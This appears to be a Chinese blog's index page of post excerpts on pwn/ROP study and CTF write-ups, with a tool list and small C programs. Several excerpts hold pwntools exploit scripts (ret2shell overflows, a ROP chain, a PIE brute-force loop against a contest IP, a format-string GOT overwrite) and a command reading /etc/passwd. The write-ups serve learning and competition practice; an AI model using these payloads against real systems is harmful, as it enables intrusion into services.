pwn从头开始的复习(rop初级篇)
本篇将以难度顺序讲解各种难度的pwn,因为传参方式不同,这里给两类64位和32位
我直接给出未解释的地址一般是ida给的或者ROPgadget 给的,去看我的模板去
ret2shell(直接留了后门,最简单的,新手入门用)32位ret2shell32例题下载
123456789from pwn import *p = process('./ret2shell32')context.log_level="debug"payload=(0x6C+4)*b'a'+p32(0x080485CB)p.sendlineafter("Please enter your string:",payload)p.interactive()#你的当前文件夹下没有flag,显示Flag File is Missing.就代表通了
64位ret2shell64例题下载
123456789from pwn import *# remote()建立远程连接,指明ip和portio = remote('node4.buuo ...
信安数学自编代码
测试求10的8次方内素数能力枚举法
12345678910111213141516171819202122#include <stdio.h>#include <stdlib.h>#include<math.h>int main()//求个10^8内素数玩玩{ for(int i=2;i<pow(10,8);i++) { int flag=0; for(int j=2;j<=pow(i,0.5);j++) { if(i%j==0) { flag=1; break; } } if(flag==1)continue; //printf("%d\n",i); } printf("finish");} ...
pwn从头开始的复习(工具篇)
前言开学在即,复习一遍pwn。顺便给后人留点东西。
所需软件及软件包写笔记用:Typora (便于上传博客,再没用过word写笔记)
c语言:code blocks(代码补全,报错提示和调试做得都很好,而且比用来写项目的操作简单打开快)
Python:PyCharm(好用没得说)
编辑二进制:vscode(免费且插件多,必备)配置hex editor
查看程序源代码和反汇编:ida
另外:需要一款科学上网软件。由于本篇文章要上云,我就不提了。
Linux64位虚拟机乌班图和kali都可,建议乌班图,虽然kali主打一个网络安全,但乌班图支持的软件更多一些。
下面是虚拟机里面需要的东西:python3(无需编辑器,在主机编,虚拟机带不动,能运行就行)
python需要的软件包(安装指令去csdn找):
1.pwntools
2.pwngdb
3.libcsearcher
需要安装的指令:
1.Onegadget
2.ROPgadget
这些搞完就可以做题了
学习资源参照西电的pdf,一篇就够了,一千多页
chatgpt,不懂就问它,它真什么都会
刷题网站buuctf,pwn按照解出人数 ...
分组对抗-1-OK-WP
super——idol
https://blog.csdn.net/m0_73644864/article/details/128985892
csdn大法,秒了
尊嘟假嘟我觉得这更像一段逆向,他甚至抹了符号表,我哭死
123456789101112from pwn import *context.log_level="debug"p=remote("ctf.v50to.cc",10281)#p=process("./pwn")p.sendline("O.O")sleep(1)p.sendline("O.O")pop_rdi_ret=0x0000000000401bb3payload=b'O.o'+b'\0'+b'a'*0x74+p64(pop_rdi_ret)+p64(0)+p64(0x0000000004015FE)p.sendlineafter("o.oo.oo.oo.o o.oO.O O.Oo.oO.Oo.o ...
初探爆破
初探爆破可见字符三位可见字符大概需要半分钟,每多一位时间翻80倍左右,而在服务器条件下每次交互会有大概0.1s延迟,使可见爆破的极限基本锁定在三位
123456789101112131415161718#include <stdio.h>#include <stdlib.h>#include <string.h>int main(){ char password[100] = "3h9"; char input[100] = ""; while (1) { puts("input:"); scanf("%s", input); if (!strcmp(password, input)) puts("flag is flag{heshi_tested_baopo}"); else puts(& ...
test_download
东京之行
heshi爱听的口水歌
elf小测试台场捡的偶像
23春校赛WP
签到:在微信公众号发送flag,得到flag
Base: 十六进制转base64,再转随波逐流一把梭
Rot13:就一层加密,rot13解密后套flag
Rsa:百度到原题复制粘贴
山岚:谐音“栅栏”,随波逐流一把梭
Miao:查看ida,发现直接给了shell,尝试cat flag结果输出喵喵喵
尝试套flag{}错误,后来尝试后发现禁用cat,一旦cat就会喵喵喵,找到Linux等效的指令
Baby_re:看不到main函数,查壳,发现upx壳,upx -d一键脱壳,解数独类逆向,gdb调试出数独表,找到网站解出
上午场未解出题目
23省赛WP
lvyou——可以爆破的一个小pwn很简单就溢出了,但是由于开启了pie所以函数的基址不确定,所以采用爆破
12345678910from pwn import*#p=process('./lvyou')for i in range(500): p=remote("121.196.192.181",10001) #p = process('./lvyou') payload=b'a'*0x28+p8(0x9a)+p8(0x52) p.recvuntil(b'choice :\n') p.sendline(b'1') p.send(payload) p.interactive()
23国赛WP
签到题输错代码后,会看到官方提示:
python3打印文件内容:
1print(open('/etc/passwd').read())
可以猜测是需要通过输入代码打开什么文件,索性尝试/flag,输入print(open('/flag').read())结果如下:
获得flag{Od2e2ea0-0896-4ee6-a925-09acee3db3a9}}
国粹题干:
可以看到最后两张图长度相同,对齐后有一定的规律
第一行相同牌面对应第二行的牌面没有重复的
第一行相同的牌面,第二行对应的牌面按照一定的顺序排列:
一万 到 九万
一饼 到 九饼
一条 到 九条
东南西北风
中发白
春夏秋冬
梅兰竹菊
同时题干图片中第一行第一个为空白第二行以一个为一万,可以联想到坐标轴,
于是尝试将(a,k)对应的各个点描出:
可以隐约发现flag{},对图片进行翻转操作后:
最后获得flag{202305012359}
Modbus题目为一个流量包,根据题干提示 ...
23校赛WP(场上未解出的几个pwn)
ikun下载
人生重开下载
ikun——随机数的应对,双程序的应用123456789101112131415161718192021222324from pwn import *context(log_level = "debug",arch = "amd64",os = "linux")elf=ELF("./ikun")puts_got = elf.got["puts"]shell=elf.sym["realback"]print(hex(shell))offset = 12print(hex(shell))payload2 = fmtstr_payload(offset, {puts_got: shell})s=process("./suiji")p=process("./ikun")payload1="kunaaaaaaaa@"p.send(payload1)p.recvuntil( ...